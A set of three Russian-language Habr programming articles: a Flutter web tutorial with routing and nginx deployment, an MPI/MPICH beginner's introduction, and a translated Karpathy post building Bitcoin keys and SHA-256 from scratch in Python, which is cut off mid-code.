Начнем с инициализации проекта. Так же, как и для всех остальных платформ, инициализируем проект командой:
```
bash
flutter create test_web
```
flutter cli инструмент сгенерировал нам скелетон проекта, который по умолчанию имеет поддержку web-среды.
Вот так выглядит структура папок в только что инициализированном проекте.
Нас в данный момент интересуют только три папки:
* /lib/ – здесь хранится платформонезависимый код нашего Flutter приложения;
* /web/ – здесь хранится все, что относится к web-платформе (базовый шаблон index.html, например);
* /build/ – здесь можно будет найти результат сборки приложения, который можно деплоить.
Уже сейчас с только что развернутым проектом у нас есть, на что посмотреть. Запустим наше приложение.
```
bash
flutter run
```
Futter запустит браузер, в котором откроет приложение, работающее на dev-сервере.
Сразу обратим внимание на адресную строку.
По умолчанию flutter в web-среде использует hash роутинг. Похожую картину мы можем наблюдать в SPA фреймворках, например, Vue или React (при использовании HashRouter).
Это удобно, потому что позволяет нам практически не конфигурировать web-сервер. Достаточно раздать index.html и вся дальнейшая навигация будет происходить по хешу «в рамках этого документа».
Из минусов:
1. пользователи скорее привыкли видеть стандартные url без хеша;
2. это очень плохо сказывается на индексировании страниц, поскольку логически мы находимся на одной и той же странице.
Для более развернутой демонстрации попробуем написать простенькое приложение с навигацией. Например, онлайн-каталог.
Ниже представлен код, отвечающий за навигацию. При каждой навигации вызывается onGenerateRoute, в котором хранятся настройки роута (url, например). В данном случае мы пытаемся распарсить url по регулярному выражению, вытащив из него параметры для роута. Если удается, значит мы на роуте конкретного продукта, и должны вернуть этот роут. В противном случае смотрим, какой из именованных роутов нам может подойти.
```
class AppRoutes {
static final _namedRoutes = {
CatalogueRoute.name: (settings) => CatalogueRoute(settings: settings),
};
static Route? onGenerateRoute(RouteSettings settings) {
final params = CatalogueItemRouteParams.parse(settings);
if (params != null) {
return CatalogueItemRoute(
catalogueItemRouteParams: params,
settings: settings,
);
} else {
print('unable to parse params');
}
if (\_namedRoutes.containsKey(settings.name)) {
return \_namedRoutes[settings.name]!(settings);
}
return null;
}
}
```
Для реактивного состояния в самом простом случае можно не использовать state-management библиотек, а просто воспользоваться Stream’ами. Stream – это абстракция, которая реализует паттерн Observer. То есть все, что она делает – позволяет клиентскому коду подписаться на свои обновления.
```
class CatalogueController {
final StreamController \_controller =
StreamController.broadcast();
CatalogueState \_state = CatalogueState(isLoading: false);
final CatalogueRepository catalogueRepository;
CatalogueController({
required this.catalogueRepository,
});
Stream get stream => \_controller.stream;
CatalogueState get value => \_state;
void emit(CatalogueState newState) {
\_state = newState;
\_controller.add(newState);
}
Future loadCatalogue() async {
if (value.isLoading) {
return;
}
emit(
(CatalogueStateBuilder.fromInstance(value)..isLoading = true).build(),
);
try {
final catalogue = await catalogueRepository.getCatalogue();
emit(
(CatalogueStateBuilder.fromInstance(value)
..isLoading = false
..catalogue = catalogue.toList())
.build(),
);
} on AppError catch (err) {
emit(
(CatalogueStateBuilder.fromInstance(value)
..isLoading = false
..error = err)
.build(),
);
}
}
}
```
Внутри страницы используем StreamBuilder, чтобы считывать обновления со Stream’а и обновлять контент при обновлении состояния. При переходе на страницу будет вызван initState, который вызовет loadCatalogue для инициализации загрузки данных.
```
class _CataloguePageState extends State {
@override
void initState() {
widget.catalogueController.loadCatalogue();
super.initState();
}
@override
Widget build(BuildContext context) {
return Scaffold(
appBar: AppBar(),
body: StreamBuilder(
stream: widget.catalogueController.stream,
builder: (context, snapshot) {
final state = snapshot.data ?? widget.catalogueController.value;
if (state.error != null) {
return Center(
child: Text(state.error!.message),
);
}
if (state.catalogue != null) {
int crossAxisCount = 2;
if (MediaQuery.of(context).size.width > 1000) {
crossAxisCount = 4;
}
return Container(
color: Colors.blue,
child: SingleChildScrollView(
child: Column(
children: [
Padding(
padding: const EdgeInsets.all(8.0),
child: GridView.count(
physics: const NeverScrollableScrollPhysics(),
shrinkWrap: true,
crossAxisCount: crossAxisCount,
crossAxisSpacing: 8,
mainAxisSpacing: 8,
children: state.catalogue!
.map(
(e) => CatalogueCard(
catalogueItem: e,
onTap: () {
Navigator.of(context).pushNamed('/catalogue-item/${e.id}');
},
),
)
.toList(),
),
)
],
),
));
}
return const Center(
child: CircularProgressIndicator(),
);
},
),
);
}
}
```
В приложении будет один репозиторий для доступа к данным, у которого будет моковая реализация.
```
abstract class CatalogueRepository {
Future getCatalogueItem(String id);
Future> getCatalogue();
}
```
Вот так выглядит приложение.
Hidden textКаталогСтраница одного товараСледует обратить внимание, что при навигации не происходит перезагрузок, как в классическом SPA. Url меняется через History API браузера, как, например, в случае с Vue Router.
В целом с тестовым приложением мы разобрались. Но как именно происходит отрисовка контента? Разберем подробнее!
Зайдем в инструменты разработчика в браузере и выключим выполнение JS, перезагрузим страницу. Мы увидим примерно следующую картину
Это связано с тем, что нам отдается шаблон, который находится в /web/index.html. По умолчанию этот шаблон очень простой: есть несколько метатегов, и один script тег, который подгружает наше Flutter-приложение, транслированное в javascript с помощью dart2js. Значит с сервера нам всегда будет приходить пустая страница, что плохо с точки зрения SEO. Также это влияет на time to first contentful paint, поскольку чтобы отрисовать контент, браузеру нужно сначала загрузить весь JS, распарсить его и выполнить. Оптимизировать загрузку можно использовав [deferred loading](https://dart.dev/guides/language/language-tour#lazily-loading-a-library). По сути, это аналог split chunks в webpack. При загрузке приложения обязательно будет выгружено ядро фреймворка и необходимые для роута компоненты. Загрузку всех остальных компонентов можно отложить.
Также при сборке production билдов Flutter заботится о размере бандла, используя минификацию. Приятно, что минификация работает из коробки, и ее даже не нужно конфигурировать.
Вернемся к скрипту, который упоминался выше. Что же происходит после его выполнения? Включаем выполнение js, перезагружаем страницу. Если мы попробуем найти в DOM какой-то элемент, то обнаружим, что весь наш сайт целиком отрисован одним canvas тегом.
У Flutter есть два способа отрисовать страницу: используя один canvas (способ по умолчанию для десктопа) и используя html теги, стили и canvas теги (способ по умолчанию для мобильных устройств).
Теперь давайте рассмотрим пример, где нам нужно логически отделить страницы друг от друга. В таком случае нам придется отказаться от hash навигации в пользу PathUrlStrategy. Для этого добавляем необходимую зависимость в pubspec.yaml согласно документации
```
yaml
dependencies:
flutter_web_plugins:
sdk: flutter
```
и вызываем setUrlStrategy. В целом в режиме разработки для нас ничего не поменяется.
```
dart
void main() {
setupServices();
setUrlStrategy(PathUrlStrategy());
runApp(const MyApp());
}
```
Теперь в приложении привычный url без хеша.
Hidden textПри использовании PathUrlStrategy нам нужно сконфигурировать web-сервер таким образом, чтобы при переходе на любой url он отдавал index.html. Попробуем запустить наше web-приложение в боевом режиме на реальном сервере.
```
bash
flutter build web
```
На изображении ниже можно увидеть docker-compose конфигурацию. Мы собираемся поднять nginx в контейнере. Самое важное здесь – прокинутый volume /var/www/html в папку с web-версией собранного приложения.
```
version: '2'
services:
nginx:
image: "nginx:latest"
restart: always
ports:
- 80:80
volumes:
- "./nginx/logs:/etc/logs/nginx"
- "./nginx/conf.d:/etc/nginx/conf.d/"
- "../build/web:/var/www/html"
```
Для nginx пропишем самую простую конфигурацию с одним location – отдаем файл по url, если файла нет – отдаем index.html
```
server {
listen 80 default;
root /var/www/html;
location / {
try_files $uri /index.html;
}
}
```
Поднимаем контейнеры:
```
bash
cd docker
docker-compose up -d --build
```
Переходим на [http://localhost](http://localhost/) и видим как nginx отдает нам каталог.
### Flutter for web: преимущества
Резюмируя, попробуем ответить на вопросы: какие могут быть преимущества у Flutter для web и в каких случаях использование Flutter может быть действительно хорошей идеей?
1. Flutter будет хорошим инструментом, если на этапе разработки ***неизвестна целевая платформа***, под которой должно быть запущено приложение, либо если ***целевых платформ*** в дальнейшем может стать ***несколько***.
2. ***Dart*** – хороший ***бонус***, который вы получаете при использовании Flutter. Статическая типизация позволяет отсекать большое количество ошибок на этапе написания кода и проектировать более надежные программные модули. При этом можно также пользоваться и динамической типизацией. В таком случае разработка будет очень похожа на разработку под JS.
3. Flutter хорошо подойдет, если в результате разработки ожидается получить скорее ***динамическое приложение***, которое будет отзывчивым для пользователя, работать без перезагрузок (в отличие от многостраничных приложений, полностью генерируемых шаблонизатором на стороне сервера).
4. Использование Flutter для web может быть оправдано, если у вас ***есть*** сформировавшаяся ***Flutter команда***, или, например, команда мобильных разработчиков, которая готова мигрировать на Flutter.
5. Flutter хорошо подойдет, если вы ***хотите разработать PWA***. С версии 1.20 скелетоны проекта, генерируемые Flutter’ом, сразу добавляют поддержку PWA, позволяя устанавливать web-приложение на устройство, и использовать его в офлайн режиме.
Flutter for web: минусы
-----------------------
Есть и такие случаи, когда Flutter может не подойти.
Давайте определимся, на что нужно обратить внимание перед тем, как перейти к использованию фреймворка для web-проекта.
1. Flutter не очень подходит для сайтов, в которых SEO является важной составляющей. Например, для онлайн-магазинов. В официальной документации Flutter есть [упоминание](https://docs.flutter.dev/development/platform-integration/web/faq#search-engine-optimization-seo) об этом. Ситуацию в теории можно улучшить, добавив на серверную часть шлюз, который будет внедрять нужные нам метатеги в html страницы и отдавать корректные http коды в зависимости от статуса ресурса. Такой шлюз можно реализовать на PHP + Laravel. Важно понимать, что мы сможем управлять только метатегами. Под большим вопросом остается использование h1 и h2 тегов, поскольку их придется скрывать.
2. Прежде чем использовать Flutter в web-проектах, нужно точно определить, требуется ли поддерживать старые браузеры. В о[фициальной документации](https://docs.flutter.dev/development/tools/sdk/release-notes/supported-platforms) указаны минимальные версии браузеров, с которыми Flutter работает стабильно.
Flutter может идеально подойти для SPA и PWA web-приложений. Хороший пример – админка взаимодействующая с бэкендом через JSON API, web-консоль, приложение для работы с документами (похожее на Google Docs) или информационный дашборд. Flutter позволяет откладывать принятие решения о целевой платформе для приложения. Но для сайтов, которые в основном ориентируются на текстовый контент, или которым требуется SEO, Flutter подходит не лучшим образом в силу того, что он не поддерживает Server Side Rendering (скомпилированный JS выполняется только в браузере). Более того, Flutter не позволяет нам работать с привычной DOM напрямую.
[Ссылка](https://github.com/ulkenauer/flutter-web-test) на репозиторий | https://habr.com/ru/post/666952/ | null | ru | null |
# Основы MPI
Прочитал [статью «Основы MPI для «чайников»»](http://habrahabr.ru/blogs/system_programming/121235/) и понял, что статья новичка способна отпугнуть.
#### Теория
##### Начнем с начала
Первое время не было единого стандарта (API) для параллельных вычислений и программистам приходилось писать для каждого кластера архитектурно-специфический код. Но, как известно, программисты люди рациональные и быстро было решено организовать стандарты (самые известные — [MPI](http://www.mpi-forum.org/), OpenMP).
**MPI — Message Passing Interface.** Это специфический API, который реализуют производители кластеров для того, чтобы можно было легко переносить программы с кластера на кластер не изменяя ни байта исходного кода(!).
Параллельная программа должна эффективно использовать вычислительные мощности и коммуникационную среду. В MPI вся работа по распределению нагрузки на узлы и сеть ложатся на программиста и для максимальной производительности необходимо знать особенности конкретного кластера. MPI очень элегантно решает вопрос топологии сети: имеются понятия коммуникаторов — группы процессов, которые можно пронумеровать в соответствии с топологией сети (для этого используется функция [MPI\_Cart\_create](http://www.mcs.anl.gov/research/projects/mpi/www/www3/MPI_Cart_create.html), которая позволяет задать любую топологию от решётки до гиперкуба).
##### Целесообразность распараллеливания
Некоторые примеры в учебных пособиях весьма синтетические — в них считается какой-нибудь ряд в пределах стандартного типа (например, double), что на практике вычисляется за время много меньшее того, которое тратится на инициализацию и передачу чего-либо по сети (вычисление числа pi в double на двух компьютерах с Gigabit Ethernet примерно в два раза **медленнее** вычисления на одном компьютере). Однако, MPI позволяет использовать многоядерные процессоры (что почему-то многие забывают), а между ядрами скорость передачи совершенно другого порядка, поэтому всегда нужно знать архитектуру и топологию системы.
#### Практика
Про теорию можно много писать, но лучше постигать теорию соразмерно с практикой.
Для начала установим какую-нибудь реализацию MPI на свой компьютер. Одной из самых распространённых реализаций MPI является MPICH ([MPI Chameleon](http://ru.wikipedia.org/wiki/MPICH)).
##### Установка
В убунте устанавливается в одну строчку:
`sudo apt-get install mpich2`
Напишем простенькую программку, которая ничего полезного не делает:
> `#include
>
> #include
>
>
>
> int main (int argc, char\* argv[])
>
> {
>
> int errCode;
>
>
>
> if ((errCode = MPI\_Init(&argc, &argv)) != 0)
>
> {
>
> return errCode;
>
> }
>
>
>
> int myRank;
>
>
>
> MPI\_Comm\_rank(MPI\_COMM\_WORLD, &myRank);
>
>
>
> if (myRank == 0)
>
> {
>
> printf("It works!\n");
>
> }
>
>
>
> MPI\_Finalize();
>
> return 0;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Скомпилируем эту программку:
`mpicc -o test.bin ./test.c`
Попробуем запустить:
`mpirun ./test.bin`
И (если еще не настроили демон mpd) получим сообщение о том, что демон mpd не запущен.
> `mpiexec: cannot connect to local mpd (/tmp/mpd2.console_valery); possible causes:
>
> 1. no mpd is running on this host
>
> 2. an mpd is running but was started without a "console" (-n option)
>
> In case 1, you can start an mpd on this host with:
>
> mpd &
>
> and you will be able to run jobs just on this host.
>
> For more details on starting mpds on a set of hosts, see
>
> the MPICH2 Installation Guide.`
При попытке запустить mpd будет сказано об отсутствии настроек (почему, собственно, не запускается демон)
> `configuration file /home/valery/.mpd.conf not found
>
> A file named .mpd.conf file must be present in the user's home
>
> directory (/etc/mpd.conf if root) with read and write access
>
> only for the user, and must contain at least a line with:
>
> MPD_SECRETWORD=
>
> One way to safely create this file is to do the following:
>
> cd $HOME
>
> touch .mpd.conf
>
> chmod 600 .mpd.conf
>
> and then use an editor to insert a line like
>
> MPD\_SECRETWORD=mr45-j9z
>
> into the file. (Of course use some other secret word than mr45-j9z.)`
Секретное слово нужно только для подключения узлов. Если мы будем подключать ещё компьютеры, то надо будет и на них ставить MPICH и надо будет занести узел в список узлов, а также не будет лишним настроить подключение по ssh с использованием ключей (для общения с узлами).
Если всё сделано правильно, то получим примерно такой вывод:
`$ mpirun ./test.bin
It works!`
MPI\_Init — обязательна для вызова, так как выполняет инициализацию библиотеки MPI.
MPI\_COMM\_WORLD — идентификатор глобального коммуникатора, содержащего все процессы.
MPI\_Comm\_rank — возвращает идентификатор (номер, ранг) процесса в рамках заданного коммуникатора.
Почему выводим на экран только при ранге, равном 0? Просто этот процесс как раз соответствует по умолчанию тому, который имеет доступ к консоли того терминала, с которого производился запуск. Мы можем использовать и любой другой, но так просто удобнее.
##### **Вместо вывода**
Можно написать параллельную программу не имея почти никаких знаний о параллельном программировании, но написание эффективных программ является трудоёмким процессом выбора алгоритма и его реализации, подгонки под систему и так далее. Но если начать писать простенькие программки и при этом читать спецификации и литературу о вычислительных системах (об их архитектуре, коммуникационных средах и прочем), то со временем, %username%, будешь способен подчинить себе даже такие страшные машины как те, которые представлены в списке [топ-500](http://top500.org/) | https://habr.com/ru/post/121925/ | null | ru | null |
# Андрей Карпати: Bitcoin на Python (часть 1)
*Андрей Карпати — директор по искусственному интеллекту и Autopilot Vision в Tesla.*
Я считаю, что блокчейн — классная штука, потому что он расширяет open source разработку софта до open source + state. Это кажется интересным нововведением в компьютерных парадигмах; Мы не просто делиться кодом, мы можем предоставить общий доступ к работающему компьютеру, и любой человек в любом месте может использовать его открыто и без разрешения. Семена этой революции, возможно, начались с биткойна, поэтому мне стало любопытно вникнуть в него более подробно, чтобы получить интуитивное понимание того, как он работает. И в духе «то, что я не могу создать, я не понимаю», что может быть лучше, чем реализовать биткойна с нуля?
Мы собираемся создать, поставить цифровую подпись и транслировать биткойн-транзакцию на чистом Python, с нуля и с нулевыми зависимостями. В процессе мы немного узнаем о том, как биткойн представляет ценность. Давай попробуем.
(кстати, если визуальный формат этого поста вас раздражает, посмотрите версию [jupyter notebook](https://github.com/karpathy/cryptos/blob/main/blog.ipynb), у которой идентичный контент).
### Шаг 1: создание крипто сущности
Для начала мы хотим создать совершенно новую криптографическую сущность, которая представляет собой всего лишь пару ключей: публичный и приватный. Биткойн использует криптографию на эллиптических кривых ([Elliptic-Сurve Сryptography](https://en.wikipedia.org/wiki/Elliptic-curve_cryptography), ECC) вместо чего-то более распространенного, например RSA, для защиты транзакций. Я не собираюсь здесь углубляться в ECC, потому что другие проделали значительно лучшую работу, например, я считаю [серию постов в блоге Андреа Корбеллини очень полезным ресурсом](https://andrea.corbellini.name/2015/05/17/elliptic-curve-cryptography-a-gentle-introduction/). Здесь мы просто напишем код, но чтобы понять, почему он работает математически, вам нужно прочитать эти посты.
Итак, биткойн использует кривую [secp256k1](https://en.bitcoin.it/wiki/Secp256k1). Как новичок в этой области, я нашел эту часть увлекательной — есть целые библиотеки разных кривых, из которых вы можете выбирать, у каждой свои плюсы, минусы и прочие свойства. NIST публикует рекомендации о том, какие из них использовать, но люди предпочитают использовать другие кривые (например, secp256k1), которые с меньшей вероятностью будут иметь встроенные бэкдоры. Как бы то ни было, эллиптическая кривая — это математический объект довольно низкой размерности, для определения которого требуется всего 3 целых числа:
```
from __future__ import annotations # PEP 563: Postponed Evaluation of Annotations
from dataclasses import dataclass # https://docs.python.org/3/library/dataclasses.html I like these a lot
@dataclass
class Curve:
"""
Elliptic Curve over the field of integers modulo a prime.
Points on the curve satisfy y^2 = x^3 + a*x + b (mod p).
"""
p: int # the prime modulus of the finite field
a: int
b: int
# secp256k1 uses a = 0, b = 7, so we're dealing with the curve y^2 = x^3 + 7 (mod p)
bitcoin_curve = Curve(
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F,
a = 0x0000000000000000000000000000000000000000000000000000000000000000, # a = 0
b = 0x0000000000000000000000000000000000000000000000000000000000000007, # b = 7
)
```
В дополнение к кривой мы определяем точку Generator, которая является просто некоторой фиксированной «начальной точкой» в цикле кривой, которая используется для запуска «случайного блуждания» по кривой. Генератор — это общеизвестная и согласованная константа:
```
@dataclass
class Point:
""" An integer point (x,y) on a Curve """
curve: Curve
x: int
y: int
G = Point(
bitcoin_curve,
x = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798,
y = 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8,
)
# we can verify that the generator point is indeed on the curve, i.e. y^2 = x^3 + 7 (mod p)
print("Generator IS on the curve: ", (G.y**2 - G.x**3 - 7) % bitcoin_curve.p == 0)
# some other totally random point will of course not be on the curve, _MOST_ likely
import random
random.seed(1337)
x = random.randrange(0, bitcoin_curve.p)
y = random.randrange(0, bitcoin_curve.p)
print("Totally random point is not: ", (y**2 - x**3 - 7) % bitcoin_curve.p == 0)
```
```
Generator IS on the curve: True
Totally random point is not: False
```
Наконец, известен порядок порождающей точки G, который фактически является «размером множества», с которым мы работаем, в терминах целочисленных кортежей (x, y) в цикле вокруг кривой. Мне нравится организовывать эту информацию в еще одну структуру данных, которую я назову Generator:
```
@dataclass
class Generator:
"""
A generator over a curve: an initial point and the (pre-computed) order
"""
G: Point # a generator point on the curve
n: int # the order of the generating point, so 0*G = n*G = INF
bitcoin_gen = Generator(
G = G,
# the order of G is known and can be mathematically derived
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141,
)
```
Обратите внимание, что на самом деле мы пока ничего не сделали, это всего лишь определение некоторых структур данных и их заполнение общеизвестными константами, связанными с эллиптическими кривыми, используемыми в биткойне. Это скоро изменится, так как мы готовы сгенерировать наш закрытый ключ. Закрытый ключ (или «секретный ключ», как я буду называть его в дальнейшем) — это просто случайное целое число, удовлетворяющее условию 1 <= key
```
# secret_key = random.randrange(1, bitcoin_gen.n) # this is how you _would_ do it
secret_key = int.from_bytes(b'Andrej is cool :P', 'big') # this is how I will do it for reproducibility
assert 1 <= secret_key < bitcoin_gen.n
print(secret_key)
```
```
22265090479312778178772228083027296664144
```
Это наш секретный ключ — это довольно скромное целое число, но любой, кто его знает, может контролировать все средства, которыми вы владеете в связанной с ним цепочке биткойнов. В простейшем, наиболее распространенном варианте использования биткойна, — это единственный «пароль», который контролирует вашу учетную запись. Конечно, в чрезвычайно маловероятном случае, когда какой-то другой Андрей вручную сгенерировал свой секретный ключ, как я сделал выше, кошелек, связанный с этим секретным ключом, скорее всего, будет иметь нулевой баланс биткойнов :).
Теперь мы собираемся сгенерировать открытый ключ, и здесь все становится интереснее. Открытый ключ — это точка на кривой, которая получается в результате добавления точки генератора к самой себе secret\_key раз. т.е. у нас есть: public\_key = G + G + G + (размер секретного ключа) + G = secret\_key \* G. Обратите внимание, что оба символа '+' (добавить) и '\*' (разы, умножить) здесь очень особенные и немного сбивающие с толку. Секретный ключ является целым числом, но точка генератора G представляет собой кортеж (x, y), который является точкой на кривой, в результате чего получается открытый ключ кортежа (x, y), снова точка на кривой. Здесь мы должны фактически определить оператор Сложения на эллиптической кривой. У него очень конкретное определение и геометрическая интерпретация (см. про блог Андреа выше), но фактическая реализация относительно проста:
```
INF = Point(None, None, None) # special point at "infinity", kind of like a zero
def extended_euclidean_algorithm(a, b):
"""
Returns (gcd, x, y) s.t. a * x + b * y == gcd
This function implements the extended Euclidean
algorithm and runs in O(log b) in the worst case,
taken from Wikipedia.
"""
old_r, r = a, b
old_s, s = 1, 0
old_t, t = 0, 1
while r != 0:
quotient = old_r // r
old_r, r = r, old_r - quotient * r
old_s, s = s, old_s - quotient * s
old_t, t = t, old_t - quotient * t
return old_r, old_s, old_t
def inv(n, p):
""" returns modular multiplicate inverse m s.t. (n * m) % p == 1 """
gcd, x, y = extended_euclidean_algorithm(n, p) # pylint: disable=unused-variable
return x % p
def elliptic_curve_addition(self, other: Point) -> Point:
# handle special case of P + 0 = 0 + P = 0
if self == INF:
return other
if other == INF:
return self
# handle special case of P + (-P) = 0
if self.x == other.x and self.y != other.y:
return INF
# compute the "slope"
if self.x == other.x: # (self.y = other.y is guaranteed too per above check)
m = (3 * self.x**2 + self.curve.a) * inv(2 * self.y, self.curve.p)
else:
m = (self.y - other.y) * inv(self.x - other.x, self.curve.p)
# compute the new point
rx = (m**2 - self.x - other.x) % self.curve.p
ry = (-(m*(rx - self.x) + self.y)) % self.curve.p
return Point(self.curve, rx, ry)
Point.__add__ = elliptic_curve_addition # monkey patch addition into the Point class
```
Я признаю, что это может показаться немного пугающим, и понимание и повторное получение вышеупомянутого заняло у меня добрую половину дня. Большая часть сложности возникает из-за того, что вся математика выполняется с помощью модульной арифметики. Таким образом, даже простые операции, такие как деление «/», внезапно требуют алгоритмов, таких как обратный элемен по модулю `inv`. Но важно отметить, что все это просто набор сложений/умножений по кортежам (x, y) по модулю p, разбросанным повсюду между ними. Давайте попробуем сгенерировать несколько тривиальных (приватных, публичных) пар ключей:
```
# if our secret key was the integer 1, then our public key would just be G:
sk = 1
pk = G
print(f" secret key: {sk}\n public key: {(pk.x, pk.y)}")
print("Verify the public key is on the curve: ", (pk.y**2 - pk.x**3 - 7) % bitcoin_curve.p == 0)
# if it was 2, the public key is G + G:
sk = 2
pk = G + G
print(f" secret key: {sk}\n public key: {(pk.x, pk.y)}")
print("Verify the public key is on the curve: ", (pk.y**2 - pk.x**3 - 7) % bitcoin_curve.p == 0)
# etc.:
sk = 3
pk = G + G + G
print(f" secret key: {sk}\n public key: {(pk.x, pk.y)}")
print("Verify the public key is on the curve: ", (pk.y**2 - pk.x**3 - 7) % bitcoin_curve.p == 0)
```
```
secret key: 1
public key: (55066263022277343669578718895168534326250603453777594175500187360389116729240, 32670510020758816978083085130507043184471273380659243275938904335757337482424)
Verify the public key is on the curve: True
secret key: 2
public key: (89565891926547004231252920425935692360644145829622209833684329913297188986597, 12158399299693830322967808612713398636155367887041628176798871954788371653930)
Verify the public key is on the curve: True
secret key: 3
public key: (112711660439710606056748659173929673102114977341539408544630613555209775888121, 25583027980570883691656905877401976406448868254816295069919888960541586679410)
Verify the public key is on the curve: True
```
Хорошо, у нас есть несколько пар ключей, но мы хотим, чтобы открытый ключ был связан с нашим случайно созданным секретным ключом, указанным выше. Используя только приведенный выше код, нам пришлось бы добавлять G к самому себе очень много раз, потому что секретный ключ — это большое целое число. Таким образом, результат будет правильным, но он будет работать очень медленно. Вместо этого давайте реализуем алгоритм «удвоить и сложить» (double and add), чтобы значительно ускорить повторное сложение. Опять же, посмотрите сообщение выше, чтобы узнать, почему это работает, но вот оно:
```
def double_and_add(self, k: int) -> Point:
assert isinstance(k, int) and k >= 0
result = INF
append = self
while k:
if k & 1:
result += append
append += append
k >>= 1
return result
# monkey patch double and add into the Point class for convenience
Point.__rmul__ = double_and_add
# "verify" correctness
print(G == 1*G)
print(G + G == 2*G)
print(G + G + G == 3*G)
```
```
True
True
True
```
```
# efficiently calculate our actual public key!
public_key = secret_key * G
print(f"x: {public_key.x}\ny: {public_key.y}")
print("Verify the public key is on the curve: ", (public_key.y**2 - public_key.x**3 - 7) % bitcoin_curve.p == 0)
```
```
x: 83998262154709529558614902604110599582969848537757180553516367057821848015989
y: 37676469766173670826348691885774454391218658108212372128812329274086400588247
Verify the public key is on the curve: True
```
С помощью пары закрытый/открытый ключ мы создали нашу криптоисущность. Теперь пришло время получить связанный адрес биткойн-кошелька. Адрес кошелька — это не просто сам открытый ключ, он может быть детерминирован на его основе и имеет несколько дополнительных преимуществ (например, встроенную контрольную сумму). Прежде чем мы сможем сгенерировать адрес, нам нужно определить некоторые хэш-функции. Биткойн использует вездесущий SHA-256, а также RIPEMD-160. Мы могли бы просто подключать и играть, используя реализации в `hashlib` Python, но это должна быть реализация с нулевой зависимостью, так что `import hashlib` является жульничеством. Итак, сначала вот реализация SHA256, которую я написал на чистом Python в соответствии с (относительно читаемым) документом [NIST FIPS PUB 180-4](https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf):
```
def gen_sha256_with_variable_scope_protector_to_not_pollute_global_namespace():
"""
SHA256 implementation.
Follows the FIPS PUB 180-4 description for calculating SHA-256 hash function
https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf
Noone in their right mind should use this for any serious reason. This was written
purely for educational purposes.
"""
import math
from itertools import count, islice
# -----------------------------------------------------------------------------
# SHA-256 Functions, defined in Section 4
def rotr(x, n, size=32):
return (x >> n) | (x << size - n) & (2**size - 1)
def shr(x, n):
return x >> n
def sig0(x):
return rotr(x, 7) ^ rotr(x, 18) ^ shr(x, 3)
def sig1(x):
return rotr(x, 17) ^ rotr(x, 19) ^ shr(x, 10)
def capsig0(x):
return rotr(x, 2) ^ rotr(x, 13) ^ rotr(x, 22)
def capsig1(x):
return rotr(x, 6) ^ rotr(x, 11) ^ rotr(x, 25)
def ch(x, y, z):
return (x & y)^ (~x & z)
def maj(x, y, z):
return (x & y) ^ (x & z) ^ (y & z)
def b2i(b):
return int.from_bytes(b, 'big')
def i2b(i):
return i.to_bytes(4, 'big')
# -----------------------------------------------------------------------------
# SHA-256 Constants
def is_prime(n):
return not any(f for f in range(2,int(math.sqrt(n))+1) if n%f == 0)
def first_n_primes(n):
return islice(filter(is_prime, count(start=2)), n)
def frac_bin(f, n=32):
""" return the first n bits of fractional part of float f """
f -= math.floor(f) # get only the fractional part
f *= 2**n # shift left
f = int(f) # truncate the rest of the fractional content
return f
def genK():
"""
Follows Section 4.2.2 to generate K
The first 32 bits of the fractional parts of the cube roots of the first
64 prime numbers:
428a2f98 71374491 b5c0fbcf e9b5dba5 3956c25b 59f111f1 923f82a4 ab1c5ed5
d807aa98 12835b01 243185be 550c7dc3 72be5d74 80deb1fe 9bdc06a7 c19bf174
e49b69c1 efbe4786 0fc19dc6 240ca1cc 2de92c6f 4a7484aa 5cb0a9dc 76f988da
983e5152 a831c66d b00327c8 bf597fc7 c6e00bf3 d5a79147 06ca6351 14292967
27b70a85 2e1b2138 4d2c6dfc 53380d13 650a7354 766a0abb 81c2c92e 92722c85
a2bfe8a1 a81a664b c24b8b70 c76c51a3 d192e819 d6990624 f40e3585 106aa070
19a4c116 1e376c08 2748774c 34b0bcb5 391c0cb3 4ed8aa4a 5b9cca4f 682e6ff3
748f82ee 78a5636f 84c87814 8cc70208 90befffa a4506ceb bef9a3f7 c67178f2
"""
return [frac_bin(p ** (1/3.0)) for p in first_n_primes(64)]
def genH():
"""
Follows Section 5.3.3 to generate the initial hash value H^0
The first 32 bits of the fractional parts of the square roots of
the first 8 prime numbers.
6a09e667 bb67ae85 3c6ef372 a54ff53a 9b05688c 510e527f 1f83d9ab 5be0cd19
"""
return [frac_bin(p ** (1/2.0)) for p in first_n_primes(8)]
# -----------------------------------------------------------------------------
def pad(b):
""" Follows Section 5.1: Padding the message """
b = bytearray(b) # convert to a mutable equivalent
l = len(b) * 8 # note: len returns number of bytes not bits
# append but "1" to the end of the message
b.append(0b10000000) # appending 10000000 in binary (=128 in decimal)
# follow by k zero bits, where k is the smallest non-negative solution to
# l + 1 + k = 448 mod 512
# i.e. pad with zeros until we reach 448 (mod 512)
while (len(b)*8) % 512 != 448:
b.append(0x00)
# the last 64-bit block is the length l of the original message
# expressed in binary (big endian)
b.extend(l.to_bytes(8, 'big'))
return b
def sha256(b: bytes) -> bytes:
# Section 4.2
K = genK()
# Section 5: Preprocessing
# Section 5.1: Pad the message
b = pad(b)
# Section 5.2: Separate the message into blocks of 512 bits (64 bytes)
blocks = [b[i:i+64] for i in range(0, len(b), 64)]
# for each message block M^1 ... M^N
H = genH() # Section 5.3
# Section 6
for M in blocks: # each block is a 64-entry array of 8-bit bytes
# 1. Prepare the message schedule, a 64-entry array of 32-bit words
W = []
for t in range(64):
if t <= 15:
# the first 16 words are just a copy of the block
W.append(bytes(M[t*4:t*4+4]))
else:
term1 = sig1(b2i(W[t-2]))
term2 = b2i(W[t-7])
term3 = sig0(b2i(W[t-15]))
term4 = b2i(W[t-16])
total = (term1 + term2 + term3 + term4) % 2**32
W.append(i2b(total))
# 2. Initialize the 8 working variables a,b,c,d,e,f,g,h with prev hash value
a, b, c, d, e, f, g, h = H
# 3.
for t in range(64):
T1 = (h + capsig1(e) + ch(e, f, g) + K[t] + b2i(W[t])) % 2**32
T2 = (capsig0(a) + maj(a, b, c)) % 2**32
h = g
